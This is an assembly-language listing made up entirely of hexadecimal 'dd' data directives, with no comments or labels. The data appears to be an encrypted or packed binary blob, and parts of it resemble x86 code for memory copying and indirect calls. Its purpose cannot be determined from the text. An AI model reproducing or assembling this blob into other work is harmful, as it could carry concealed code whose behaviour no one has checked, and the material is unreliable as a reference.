dd 52601A10h, 0F3570D09h, 12134223h, 3C9FA7B9h, 2E211739h
dd 480BDB7h, 9E613134h, 1E601BB7h, 905D5634h, 13776E0Bh
dd 90ED4347h, 136D00B3h, 28E32A75h, 606099D4h, 0FCE3CF35h
dd 52602902h, 0F3279409h, 12138E23h, 19B3C1B9h, 2E212439h
dd 48054B7h, 9E61FD34h, 1E73FDB7h, 905D6534h, 1377F77Fh
dd 90ED8F47h, 136D758Fh, 5CE31975h, 606000D4h, 0E8DB0B22h
dd 15604F12h, 90ED2547h, 136D3873h, 80DB0B75h, 15604F10h
dd 905D2D46h, 1377F7E7h, 90ED8F47h, 136D48C7h, 84DBA175h
dd 15601A34h, 0A8E5FA46h, 136D508Bh, 2E0F5632h, 480A8B7h
dd 9E61FD34h, 1E47B9B7h, 905D6534h, 1377F7FBh, 90ED8F47h
dd 136D773Fh, 0A8E31975h, 606000D4h, 8E30335h, 52604F35h
dd 0F3ABA709h, 12131723h, 3130DB9h, 2E214239h, 480F3B7h
dd 9E616434h, 1E66DDB7h, 905D0334h, 1377C4F3h, 90ED1647h
dd 136D8B77h, 0D0E37F75h, 606033D4h, 0A8E39A35h, 5260831Ah
dd 1DFF9B1h, 1A662439h, 15641BB6h, 44E3B332h, 606055D4h
dd 84E3A935h, 52601A30h, 0F3830D09h, 12134223h, 0BCFA7B9h
dd 2E211739h, 480DDB7h, 9E613134h, 1E67F7B7h, 905D5634h
dd 13776E6Bh, 90ED4347h, 136D0B83h, 48E32A75h, 606099D4h
dd 0E0E3CF35h, 52602921h, 0F3079409h, 5138E23h, 359BF9B1h
dd 60662439h, 34E39A35h, 5260832Ah, 0F303C109h, 12132423h
dd 344F94B9h, 2E218E39h, 4802DB7h, 96765734h, 1E46EC8Fh
dd 12138834h, 15BBC1B9h, 2E212439h, 4807CB7h, 9E61FD34h
dd 1E4609B7h, 905D6534h, 1377F743h, 90ED8F47h, 136D67CFh
dd 6CE31975h, 606000D4h, 0E8DB0B22h, 15604F12h, 90ED2547h
dd 136D108Fh, 60E3B375h, 606055D4h, 0E8DBA122h, 15601A12h
dd 90ED8F47h, 136D4877h, 68E31975h, 606000D4h, 0ECE30335h
dd 52604F2Ah, 0F3E7A709h, 12131723h, 0DFB0DB9h, 2E214239h
dd 480A7B7h, 9E616434h, 1E7479B7h, 905D0334h, 1377C4BBh
dd 90ED1647h, 136DA8DFh, 98E37F75h, 606033D4h, 9CE39A35h
dd 52608327h, 0F3F7C109h, 12132423h, 19A394B9h, 2E218E39h
dd 480D1B7h, 9E615734h, 1E6F7CB7h, 905DCF34h, 1377A2ABh
dd 90ED2547h, 136D3A57h, 0B4E3B375h, 60604F25h, 80E3A935h
dd 52601A1Bh, 0F3FB0D09h, 12134223h, 1863A7B9h, 2E211739h
dd 48051B7h, 967F3134h, 480C38Fh, 1C131134h, 64F35B1h
dd 61664239h, 20E3A935h, 52601A29h, 0F3BB0D09h, 0C134223h
dd 0F3879FB1h, 60661723h, 3CDB0B3Bh, 15604F21h, 90ED2546h
dd 136D32C3h, 0B4E3B375h, 606055D4h, 0BCE3A935h, 52601A2Bh
dd 0F3C30D09h, 12134223h
dd 3B33A7B9h, 2E211739h, 48021B7h, 9E613134h, 1E6357B7h
dd 905D5634h, 13776E9Fh, 90ED4347h, 136D3B2Fh, 0A4E32A75h
dd 606099D4h, 2CE3CF35h, 5260292Bh, 0F3D39409h, 12138E23h
dd 17F7C1B9h, 1E212439h, 10E21ECDh, 0FC668832h, 0EA99BFD8h
dd 3F33A709h, 90691739h, 15668839h, 8C4EC1BFh, 0C68F2423h
dd 2E99EEC9h, 1E4801B7h, 0DE34B34h, 96662232h, 483C78Fh
dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
dd 48055B7h, 19E22D34h, 2E661132h, 4809DB7h, 10E34B34h
dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
dd 905D1132h, 13776E37h, 156DC13Dh, 90EB2232h, 153E73D6h
dd 0EA9DE5DBh, 1CE37FCDh, 1A6033D4h, 15661AB7h, 4FE30532h
dd 0FC661C51h, 0EA99D964h, 0F36B9409h, 90698E23h, 15664439h
dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
dd 1563943Dh, 368F8832h, 9E99BBC9h, 54D3ABC2h, 9C601A16h
dd 1E485987h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h
dd 15A5C5ECh, 2E662272h, 1E42508Fh, 1DE48734h, 2E664432h
dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 2B7F9B9h, 90A12439h
dd 136D053Bh, 15668832h, 0C4D3CD52h, 9860291Ch, 76708AFh
dd 1AB57734h, 156666B0h, 0BDFBAF32h, 0EA60014Ch, 0CBE587E1h
dd 9E99BBCDh, 1E48F387h, 1CD39834h, 98608326h, 42C1EAFh
dd 9EB5DD34h, 1E4250B7h, 0C4E30134h, 74604F1Ch, 0E8E4BFBFh
dd 0C6991723h, 150C15BFh, 0C6994220h, 156AA13Dh, 90E51132h
dd 136DA6E3h, 0EAB8AD37h, 88EBDDCDh, 137411A1h, 96695BCDh
dd 1566443Ah, 0FC62E0B1h, 15661100h, 6BCE15BFh, 0C6994222h
dd 156DA13Dh, 0A0ED1132h, 136DA6E3h, 1561C4DBh, 0C4EBA932h
dd 9C601A1Ch, 1E485987h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
dd 88EB77CDh, 13770E80h, 0D2EDF1CDh, 2B79419h, 90EF8E39h
dd 136D4B0Bh, 2B7A7B9h, 45311739h, 5E4105BFh, 0C4994223h
dd 3E3BA7B9h, 42361739h, 2B70DB9h, 98364239h, 42D74BFh
dd 9EB7EE34h, 3EAE03E2h, 1E4D19BFh, 4DBA134h, 15601A34h
dd 154D0C3Dh, 90ED4432h, 136D020Fh, 13779419h, 0D45D8E39h
dd 1571C23Dh, 90ED2232h, 136D31BBh, 13770D31h, 90EF4239h
dd 136D35B3h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h
dd 1E462CB7h, 0B0E38934h, 0D2604F30h, 1E6033B7h, 15661134h
dd 7D26E232h, 15665432h, 0EA664863h, 1E73BCA7h, 4CF37734h
dd 9C604F1Dh, 1E46ABB7h, 94E39834h, 4C608325h, 2E7F1CDh
dd 0A0992439h, 136D3A6Fh, 0C4D37765h, 98604F25h, 429CAB7h
dd 14B6EE34h, 1E6099BFh, 94DBCF34h, 9E602925h, 1E4D4C87h
dd 9EC27B34h, 1E758187h, 53A18F34h, 156611CEh, 10A64932h
dd 2C577737h, 88E3213Ch, 9E601A27h, 1E7109BFh, 0B86ECD34h
dd 159A64F5h, 9C661132h, 1E754D87h, 0EA9EC734h, 1546A73Dh
dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h
dd 9C624EB1h, 1E758187h, 0E380CB34h, 0D5A7EECDh, 88E38B31h
dd 96604F27h, 1E4EFF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h
dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h
dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 136D311Bh, 2BE21E33h
dd 0AD668832h, 15664532h, 0F37B9FB1h, 1A661723h, 156680B6h
dd 3CFBC932h, 0EA603361h, 855991E1h, 156E0C3Dh, 0D2E54432h
dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 8DB9232h
dd 156099D4h, 156EC03Dh, 88EB2232h, 137743CBh, 52EE5BCDh
dd 94E3CF36h, 3E602925h, 118E92F5h, 53A12599h, 156644CEh
dd 0EA77CB32h, 0A0EFEECDh, 136D9BF7h, 95662C60h, 150C2232h
dd 3233A4CDh, 80998E39h, 136D5D47h, 48EBA968h, 0D2601A29h
dd 15668833h, 11A7C732h, 0E3BAFBBh, 58F1739h, 0FC9977C7h
dd 15664296h, 48EBA952h, 9E601A29h, 0CEB013Bh, 946055D4h
dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch
dd 9E661132h, 13A00BC2h, 3C73C1B9h, 138F2439h, 9E661133h
dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh
dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h
dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 1E42E187h
dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
dd 0B195E6B5h, 1599CFF4h, 31C3D1BFh, 90ED2439h, 136D20F7h
dd 906948B7h, 15664428h, 3D23A7F4h, 7D211739h, 0C1FC2FE0h
dd 633F1CDh, 90EB2439h, 13686C2Ah, 0EA3458CDh, 1AA6C1E2h
dd 15661AB7h, 60E39A32h, 9060831Ah, 0FE34BF2h, 0D3662232h
dd 1E4E54B7h, 0FC0EC434h, 0EABF9E2Eh, 1E757787h, 0DE39C34h
dd 0EA60864Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
dd 0CE3CD32h, 456033D4h, 0A4E39C64h, 0EA6086A7h, 1AA64FE2h
dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0CEBA952h
dd 456000D4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 1E7FA4A7h
dd 159E8D34h, 45ED4432h, 78F3AB3Eh, 4D601A2Dh, 3142CCB9h
dd 905D8519h, 136D3D5Fh, 1576933Dh, 905D8832h, 136D5D87h
dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
dd 15661516h, 10DE8832h, 98664432h, 1E2BF5BFh, 7587EE34h
dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h
dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh
dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch
dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0F38FC1F5h
dd 15602423h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
dd 54E39A7Ch, 9E608316h, 1E724DA7h, 96B8A934h, 4B6517F1h
dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh
dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
dd 136D0CE3h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0F38FA7F5h
dd 15641723h, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah
dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
dd 54E3CFEBh, 9E602916h, 1E7218A7h, 54DB0B34h, 14604F22h
dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
dd 9B8FEECDh, 0D2668832h, 480ADB7h, 15662034h, 1AB89A32h
dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h
dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 31270DB9h, 80ED4239h
dd 136D363Bh, 527ACB1h, 1A678E39h, 15660CB6h, 1ABE1932h
dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h
dd 1A8708B2h, 3ECC8538h
dd 118DA1EDh, 0D3E5BAA1h, 0C4D30130h, 0D2604F1Ch, 1E7663B7h
dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh
dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h
dd 0D28F40F6h, 0D299DDCBh, 480F8B7h, 15668D34h, 96B8CF32h
dd 0B6526F1h, 312794B9h, 80ED8E39h, 136D503Bh, 98DBA17Ch
dd 14601A33h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h
dd 154D0E3Dh, 0A0EF4432h, 136D0CE3h, 0F38F8CB9h, 49678E23h
dd 0CB8F4816h, 4A662232h, 14EB94F5h, 15678E39h, 4C3D4432h
dd 11A2A16Ch, 0EA9EE6DBh, 54DB0BCDh, 14604F22h, 15DDA63Dh
dd 884D1132h, 136DAC73h, 2B7C9B9h, 0DE652439h, 0FCE5DE19h
dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
dd 0F38FC1F5h, 15642423h, 0CBED1132h, 95683E3Dh, 9669C4CBh
dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
dd 3E661132h, 54E303EBh, 9E604F16h, 1E722BA7h, 0EA20F834h
dd 90A177CDh, 1377A2DBh, 15662230h, 0A369CFB9h, 959F083Ch
dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
dd 1566DDD3h, 9EBF3A32h, 1E42C9B7h, 1CF3CF34h, 96602926h
dd 1E76508Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah
dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h
dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh
dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h
dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh
dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh
dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h
dd 136D503Bh, 9069EBB7h, 15661134h, 16F3DBBh, 0EC3F4239h
dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h
dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h
dd 13E21E92h, 0ED668832h, 15664BDBh, 1CD3AB32h, 98601A26h
dd 42CD2AFh, 0ECB5BB34h, 53ED72F1h, 0ACE39822h, 4D608339h
dd 987A82B1h, 1E7EF78Fh, 5165BC34h, 98CDAC16h, 1E44258Fh
dd 51658F34h, 0BE363516h, 65735BFh, 16CB4239h, 0BE4E0676h
dd 9830D26Ch, 42CBBAFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 98C0D5F2h, 96A45458h, 152AA8EDh
dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
dd 60D554A8h, 59D7BA86h, 0D8E8CE25h, 0DCF1439Bh, 4E4CD32h
dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 8338C882h
dd 462C4565h, 9F3BDF07h, 0C6D552B9h, 0B85E0003h, 0E9835492h
dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5046E3BDh
dd 0F3113C52h, 0DDD3A074h, 5163B977h, 0DF79F4B9h, 1331B575h
dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 7E9034F4h
dd 5E98339h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 6B151C17h
dd 3FD525FBh, 2EADFDF5h, 22916455h, 7ACFB734h, 29B723ACh
dd 7A1A20ADh, 277975FDh, 0D336987Ch, 0FFA073ECh, 7C3ED226h
dd 0E983C87Dh, 8BA4F305h, 0F5BD8DDBh, 8D0611E6h, 1201DC8Dh
dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h
dd 0FFFFF285h, 83C08BFFh, 0B05BDBDh, 9750006h, 29D1BD83h
dd 7400060Bh, 8B535019h, 411B8C0h, 85890000h, 60B1299h
dd 0B3819D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h
dd 411B853h, 85890000h, 60B1299h, 0B0229D8Dh, 0D3FF060Dh
dd 0C08B585Bh, 72A4F2BBh, 7F04EB46h, 0E97AA242h, 565h
dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch
dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh
dd 861E1175h, 0B12796C5h, 2923D5DEh, 81E96B80h, 23892DBh
dd 0F6EA6D93h, 257F2E92h, 0D225D01Ah, 113F13E7h, 516CB956h
dd 38051A8Bh, 46533A0Eh, 0B91D69FDh, 0A892C394h, 0E19C0B4h
dd 2D074F33h, 132E7BA0h, 73D127C0h, 2C372B26h, 509AB5C3h
dd 0F6C1D7C6h, 4206CE02h, 85C394B9h, 337D9757h, 0FDC5B2A1h
dd 806DFF53h, 92F65A77h, 0BD809974h, 59542CC9h, 0A7FC64B0h
dd 8024369Ah, 0C39495C4h, 3F13774Bh, 83BECB24h, 9556373Fh
dd 0D290C394h, 95582C40h, 0EB2FC394h, 4EA33E2Ch, 6A842D6Dh
dd 0A647BD48h, 833240F4h, 6Eh, 311EBD6Dh, 0BE91638Eh, 0BACF3EE8h
dd 5BD35D8Fh, 0C394732Fh, 0A4AC5AA0h, 9473FE8Ch, 717C36C3h
dd 415F729Bh, 15F32h, 0DEB90000h, 0A716FAD7h, 44FB6150h
dd 8AEFC8ADh, 0FB4FF96Fh, 27350C12h, 0F879ECB8h, 32D48EEh
dd 9B25C70Fh, 94A07713h, 1D59F8C3h, 47848761h, 70EFFD3h
dd 0B9A1CCAh, 0B4A693E2h, 0E9073A49h, 0B994E10Eh, 0DADE5ABAh
dd 0D8C517FBh, 3F0DF1CCh, 941DD3B7h, 0A6E54C3h, 2B2671DCh
dd 2EBFF9A7h, 578CB3C9h, 0EA66DB6h, 0C3941D7Ah, 2D91F5CDh
dd 0A81C2D7Ch, 7AFE0F95h, 0C0D87C8Bh, 0D13509FDh, 1DFF296Dh
dd 3240F2DCh, 483CB0C2h, 0DFC39417h, 370E12FBh, 8C4019h
dd 0DEAC0000h, 0E771FBDAh, 941D3B4Fh, 0D5238CC3h, 0E06886FAh
dd 73BFE55Ah, 0DE462C05h, 370BFFD6h, 0A7A724D3h, 0E61F97E5h
dd 9BB6C548h, 0C8C5DF37h, 2073D923h, 0F6273529h, 0FC7791A0h
dd 42360913h, 0DA29839Bh, 0A5C913E7h, 0C3943321h, 4785CA6h
dd 86079DB0h, 4120CB72h, 4CE632h, 0DE0E0000h, 0C517FBDAh
dd 7BDF3996h, 86A0B069h, 0C9D37187h, 4E5B02F6h, 574B8F73h
dd 866A8F73h, 14320D17h, 96EA1392h, 0CD38B4AFh, 0C5398DB8h
dd 0D7DE352Bh, 5A2E196Fh, 0B6BE0266h, 0C3941DD7h, 0F008851Fh
dd 3240F159h, 170h, 0D3DE9C00h, 56A30AFEh, 1D6D198Dh, 98E2C394h
dd 61D5E831h, 0D845C92Dh, 0A590E510h, 0E7E30BD1h, 68C3941Dh
dd 96103E12h, 0AEA3EE17h, 8893E9B5h, 0FCCFCA62h, 8F60BD9Eh
dd 0E2564A75h, 3B46EE3Bh, 7A5EB206h, 0CEFB0CF9h, 0C098EA7Ah
dd 8BA93A60h, 0B580957Ah, 0C23441AEh, 7D18C4BCh, 3498FCB8h
dd 0BCDE3045h, 0CE45102Ch, 89A40A4h, 608BE0E4h, 0AA13673Ah
dd 0A79B6F56h, 0CCD88189h, 465C0DF1h, 0D3228B7Fh, 4C595BE6h
dd 8B24A0C4h, 57AB3A60h, 2838573h, 234B889Dh, 3A608BA7h
dd 8BA52145h, 0D02A3A60h, 43728667h, 0D6A79BFFh, 0CF03F7CEh
dd 11FC08EBh, 0DB44C807h, 8522E82h, 0ED1B7FF8h, 3521DA73h
dd 148F72Ch, 0BD110000h, 0DD0B4A50h, 0BAA0BBC1h, 0E015B328h
dd 0DC0A9D97h, 9D33A232h, 46BCBD9Eh, 35FE0BF2h, 6129D5B1h
dd 0C605A3Ah, 0D0ED36D7h, 8668BD6Ch, 648A1C02h, 23978BB3h
dd 0C569FB75h, 3A614881h, 90123C06h, 131E8F15h, 0D8764A3Eh
dd 0C7152075h, 0CF0CDD6h, 193441C8h, 3CB751B5h, 364629C0h
dd 6F002Ch, 6FEC0000h, 0A09DE20Ch, 5684F8DCh, 255397C4h
dd 14A3E559h, 784E6AFAh, 0D921C394h, 7989FD75h, 410C394h
dd 7FF745C9h, 0C394790Bh, 0C2D7A69Ch, 535503F7h, 0D0CA3852h
dd 0BEFE9DD5h, 0D520EF36h, 4BC5BE4h, 0AE0DDF33h, 0BE63E251h
dd 412BC556h, 94F3092Dh, 9DE213C3h, 176DDCA0h, 0C60A428h
dd 0C61D65E2h, 7D4C5B4Ah, 0A49BB589h, 76h, 760D6FCCh, 52140E4h
dd 0A2AEBD9Fh, 60CB7E0Ah, 9589F13Ah, 122F7821h, 0E6D324C1h
dd 0CA8DD212h, 5C843A60h, 0CBDACB51h, 0A8FD50FEh, 8418469Dh
dd 2EF96DFFh, 0BF4472CEh, 0FD06F75Bh, 8D714C55h, 82EE2292h
dd 0C0247BE5h, 0D7F6921Ah, 1793076h, 0E4BC592Dh, 0A6EBB1E9h
dd 76D77A0Eh, 9BB6C330h, 1E64D337h, 77A6303Ah, 69AD1120h
dd 0D1F037BFh, 9714E64h, 0D6F2AEAh, 0A740E476h, 28BD861Bh
dd 6ABF6ED2h, 9488B5CAh, 78555E4Fh, 1F895C94h, 5349B1CEh
dd 6D58AD52h, 310C19F6h, 0BF869C4Dh, 5B6A2ECBh, 9F5F6AD1h
dd 522D332Dh, 714C59B4h, 0C5F005E2h, 39E71h, 84260000h
dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 0EC81CF7Bh
dd 4, 57242C89h, 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h
dd 58836824h, 2C890000h, 0BF575124h, 0A966C58h, 8AAE781h
dd 81470529h, 116B75CFh, 0EF81471Ah, 0F8D11D28h, 0D15FF989h
dd 81D9F7E9h, 4DDBA5F1h, 59CF89E9h, 4EC81h, 24890000h
dd 24048124h, 4, 0BA52515Dh, 46781746h, 4206EAC1h, 2A28E281h
dd 0D2F77C99h, 447DE281h, 0F28139E9h, 39E0447Dh, 15AD189h
dd 593989E9h, 5D2434FFh, 8B04C483h, 8953243Ch, 4C381E3h
dd 83000000h, 1C8704C3h, 64E95C24h, 74FFF976h, 82AB8F8h
dd 0C5030612h, 7742E0FFh, 6AD53C8Ah, 66FE18EEh, 681B7E7Eh
dd 0AC0614B7h, 8A014487h, 0DC406985h, 0DC257C76h, 98107292h
dd 0DEB7377Ch, 12EC17E3h, 69146385h, 0EA1F16C2h, 2C1A62AAh
dd 2A6D2E68h, 0EDE965D5h, 60000000h, 0A8D88C66h, 0DF840F04h
dd 8B000000h, 0B2151B5h, 0FE8306h, 22850Fh, 85C60000h
dd 60B2845h, 69696845h, 0B5FF8E72h, 60B0B01h, 7D18858Dh
dd 0D0FF060Eh, 2F4D8589h, 0F08B060Bh, 0FE93E80h, 3185h
dd 0CB858D00h, 0FF061078h, 75BD8BD0h, 81060B1Fh, 1184C7h
dd 51B58B00h, 87060B21h, 8B9F7h, 0A4F30000h, 2151B58Bh
dd 858D060Bh, 60F1732h, 0B58BD0FFh, 60B230Dh, 0F00FE83h
dd 2285h, 4585C600h, 54060B28h, 4EBEF468h, 1B5FFFFh, 8D060B0Bh
dd 0E7D1885h, 89D0FF06h, 0B230D85h, 80F08B06h, 850FE93Eh
dd 3Ah, 230DB58Bh, 858D060Bh, 61078CBh, 0BD8BD0FFh, 60B1F75h
dd 1184C781h, 0C7830000h, 0DB58B08h, 87060B23h, 8B9F7h
dd 0A4F30000h, 230DB58Bh, 858D060Bh, 60F1732h, 0C361D0FFh
dd 91F858Dh, 85890612h, 60B14CDh, 0F53F04EBh, 0D0E919FAh
dd 0FD000005h, 0A44192A9h, 12F36051h, 0FC29CA07h, 0AB449FA6h
dd 4EF56E51h, 81BCC427h, 516CB552h, 24136582h, 88C5CE3Fh
dd 224AA66Bh, 0C58617A6h, 0DEE25A29h, 0A514F8D5h, 71F3605Fh
dd 1D3B4FE7h, 0B68CC394h, 5560B598h, 0D2EF38E1h, 5968BF6Eh
dd 0F9112C93h, 0B63E2FA3h, 5A50B098h, 0F151A24Bh, 2F4795A8h
dd 0C3942F5Bh, 61F2D62Ch, 9E457084h, 0A4282771h, 201F6796h
dd 7FCE785Ch, 0C6B71B26h, 4C3D81B0h, 0BF8A9F37h, 2F93F7CBh
dd 0C4B63771h, 856A7B39h, 6E9F4473h, 0B0C22825h, 942C483Ch
dd 71FBDFC3h, 942C89FDh, 0A241EC3h, 2C5F2E06h, 0D597C394h
dd 1DE1DC28h, 18950F39h, 24136590h, 6BFEA750h, 51E502C6h
dd 0C069D37Dh, 0E9324118h, 93h, 0F8D5DE77h, 1DAEDC14h
dd 0E466C394h, 44FCA277h, 5CB00435h, 0A80D51A3h, 53A9247Eh
dd 32410BBAh, 197h, 50BD7100h, 4C807445h, 729CABFDh, 0D0288C9Bh
dd 372519EDh, 941DCBBFh, 2665CC3h, 980963D8h, 0BE74578Bh
dd 5E88B7CFh, 0C5F403EAh, 0EB3AEB71h, 0BA0E314Bh, 2F9E6246h
dd 58F6EAD5h, 2296ADF5h, 0AD11287Bh, 3498A9FCh, 4BC7C6DCh
dd 5F44415Bh, 0DFA7948h, 0D7B33BF8h, 58C39481h, 31DC0E62h
dd 0FD891DE6h, 72C39481h, 6CA01408h, 0DED321C2h, 94E00DDAh
dd 71F1D5B9h, 0C3941D15h, 3A97A09Ah, 0FFCF6241h, 9F4E3216h
dd 30636288h, 68DB6E61h, 23C92D10h, 944CFF8Bh, 160A70C3h
dd 5632BAC4h, 99C3944Ch, 0F98D231Fh, 53A7102Fh, 0DFA39AEAh
dd 1BC54DFBh, 1D678C19h, 0C3D43122h, 5F98EC00h, 2B6FC394h
dd 0E0B62537h, 0A1D1C4F3h, 0DEAAC228h, 51C39491h, 0E24BBF69h
dd 67D6BA97h, 0EB522611h, 0B0D45891h, 37C39491h, 0BD1BEFC3h
dd 72856A7Bh, 0BB9FF347h, 79931286h, 32417EC0h, 8CE9h
dd 0DADE7700h, 0DCCA71FBh, 0EDC2E86Dh, 793B4FE7h, 0B68CC394h
dd 0AF92EB52h, 0C149E7DBh, 437A8A7Bh, 6059A8A5h, 0C3FE0BFAh
dd 65ED1B7Fh, 11F6F72Dh, 0FE2F340Bh, 0EA519BBAh, 0EE642158h
dd 73847585h, 709EF246h, 50A35298h, 0B6AA97ECh, 0ED608EC2h
dd 1FBCAE95h, 0D5237537h, 0FD2B5DFAh, 81848CBAh, 0BF7E9213h
dd 0EA324162h, 4Ah, 6EDADE72h, 536EBD25h, 0A5B71B7Fh, 0F21C2D78h
dd 4E320D1Bh, 17FC092Bh, 0A721320Dh, 0F8162B76h, 0FAD7DE02h
dd 1DAFDE16h, 2D67C394h, 0F0C168A0h, 13E83240h, 0
dd 84C064F6h, 0BC39411h, 114B3F37h, 0E6DCC394h, 0D3DED248h
dd 3E2C136Bh, 941DD2B6h, 96D55C3h, 0F6C3D485h, 7C435B02h
dd 0FAD92188h, 0EBFA3C16h, 37E66A97h, 286CD0EFh, 0C029A4FEh
dd 0CDF80DB1h, 32210579h, 0D9031864h, 9EFC4055h, 299DE5BDh
dd 0D91A3740h, 1AEEDB2Ch, 60C0B8CAh, 0DFEA3D3Ah, 457C826Bh
dd 0D82C9DF1h, 0F12B19EDh, 5D879AF4h, 635EAB50h, 370217F0h
dd 0BC899A43h, 99146EC8h, 0C92A2770h, 35CE1ECFh, 15C0B2Ch
dd 0BDD50000h, 2B1A791Eh, 3DE639D6h, 0EBBB44A3h, 0B8042261h
dd 198D5FE4h, 0BD9E1378h, 2E156D98h, 0A5C90300h, 3A61A321h
dd 94785CA6h, 673ED025h, 0C7847D8Fh, 5BB4AF83h, 0AC91E64Eh
dd 5AC53FD8h, 0DAB68B1Fh, 2C3E82E6h, 8A7E0AA2h, 89F13A61h
dd 74D8F100h, 217F610h, 93954337h, 81F8E12h, 764B5039h
